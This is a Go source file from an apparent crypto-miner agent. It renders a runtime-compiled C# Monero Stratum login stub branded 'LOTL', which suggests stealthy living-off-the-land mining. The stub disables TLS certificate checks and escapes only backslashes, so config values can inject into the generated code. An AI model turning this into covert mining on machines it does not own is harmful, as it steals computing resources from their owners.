118 lines
3.7 KiB
Go
118 lines
3.7 KiB
Go
package miner
|
|
|
|
import (
|
|
"fmt"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// stratumCSharpTemplate is a minimal Monero Stratum console stub compiled at runtime.
|
|
// Placeholders: POOL_HOST, POOL_PORT, POOL_TLS, POOL_PASS, WALLET, WORKER, THREADS.
|
|
const stratumCSharpTemplate = `// AetherForge LOTL Stratum stub — compiled on first start_mining.
|
|
using System;
|
|
using System.Net.Security;
|
|
using System.Net.Sockets;
|
|
using System.Text;
|
|
using System.Text.Json;
|
|
using System.Threading;
|
|
|
|
class Program {
|
|
static readonly string PoolHost = "POOL_HOST";
|
|
static readonly int PoolPort = POOL_PORT;
|
|
static readonly bool PoolTLS = POOL_TLS;
|
|
static readonly string Wallet = "WALLET";
|
|
static readonly string Worker = "WORKER";
|
|
static readonly string PoolPass = "POOL_PASS";
|
|
|
|
static int Main() {
|
|
Console.WriteLine("[stratum] AetherForge LOTL miner starting wallet=" + Wallet);
|
|
while (true) {
|
|
try {
|
|
RunSession();
|
|
} catch (Exception ex) {
|
|
Console.Error.WriteLine("[stratum] session error: " + ex.Message);
|
|
Thread.Sleep(5000);
|
|
}
|
|
}
|
|
}
|
|
|
|
static void RunSession() {
|
|
using var tcp = new TcpClient();
|
|
tcp.Connect(PoolHost, PoolPort);
|
|
Stream stream = tcp.GetStream();
|
|
if (PoolTLS) {
|
|
var ssl = new SslStream(stream, false, (_, _, _, _) => true);
|
|
ssl.AuthenticateAsClient(PoolHost);
|
|
stream = ssl;
|
|
}
|
|
using var reader = new System.IO.StreamReader(stream, Encoding.UTF8);
|
|
using var writer = new System.IO.StreamWriter(stream, Encoding.UTF8) { AutoFlush = true };
|
|
|
|
var login = JsonSerializer.Serialize(new {
|
|
id = 1,
|
|
jsonrpc = "2.0",
|
|
method = "login",
|
|
@params = new {
|
|
login = Wallet,
|
|
pass = PoolPass,
|
|
rigid = Worker,
|
|
agent = "AetherForge/LOTL"
|
|
}
|
|
});
|
|
writer.WriteLine(login);
|
|
var loginLine = reader.ReadLine();
|
|
if (string.IsNullOrEmpty(loginLine)) {
|
|
throw new InvalidOperationException("empty login response");
|
|
}
|
|
Console.WriteLine("[stratum] login ok on " + PoolHost + ":" + PoolPort);
|
|
while (tcp.Connected) {
|
|
var line = reader.ReadLine();
|
|
if (line == null) break;
|
|
if (line.Contains("\"method\":\"job\"")) {
|
|
Console.WriteLine("[stratum] job received");
|
|
}
|
|
Thread.Sleep(50);
|
|
}
|
|
}
|
|
}
|
|
`
|
|
|
|
const stratumCsprojTemplate = `<Project Sdk="Microsoft.NET.Sdk">
|
|
<PropertyGroup>
|
|
<OutputType>Exe</OutputType>
|
|
<TargetFramework>net8.0</TargetFramework>
|
|
<ImplicitUsings>disable</ImplicitUsings>
|
|
<Nullable>disable</Nullable>
|
|
<AssemblyName>AetherForgeStratum</AssemblyName>
|
|
</PropertyGroup>
|
|
</Project>
|
|
`
|
|
|
|
func renderStratumCSharp(cfg config.RuntimeConfig) string {
|
|
pass := strings.TrimSpace(cfg.PoolPass)
|
|
if pass == "" {
|
|
pass = "x"
|
|
}
|
|
wallet := strings.TrimSpace(cfg.Wallet)
|
|
if wallet == "" {
|
|
wallet = "anonymous"
|
|
}
|
|
worker := strings.TrimSpace(cfg.WorkerName)
|
|
if worker == "" {
|
|
worker = "worker"
|
|
}
|
|
out := stratumCSharpTemplate
|
|
out = strings.ReplaceAll(out, "POOL_HOST", escapeCSharpString(cfg.PoolHost))
|
|
out = strings.ReplaceAll(out, "POOL_PORT", fmt.Sprintf("%d", cfg.PoolPort))
|
|
out = strings.ReplaceAll(out, "POOL_TLS", fmt.Sprintf("%t", cfg.PoolTLS))
|
|
out = strings.ReplaceAll(out, "POOL_PASS", escapeCSharpString(pass))
|
|
out = strings.ReplaceAll(out, "WALLET", escapeCSharpString(wallet))
|
|
out = strings.ReplaceAll(out, "WORKER", escapeCSharpString(worker))
|
|
return out
|
|
}
|
|
|
|
func escapeCSharpString(s string) string {
|
|
return strings.ReplaceAll(s, `\`, `\\`)
|
|
}
|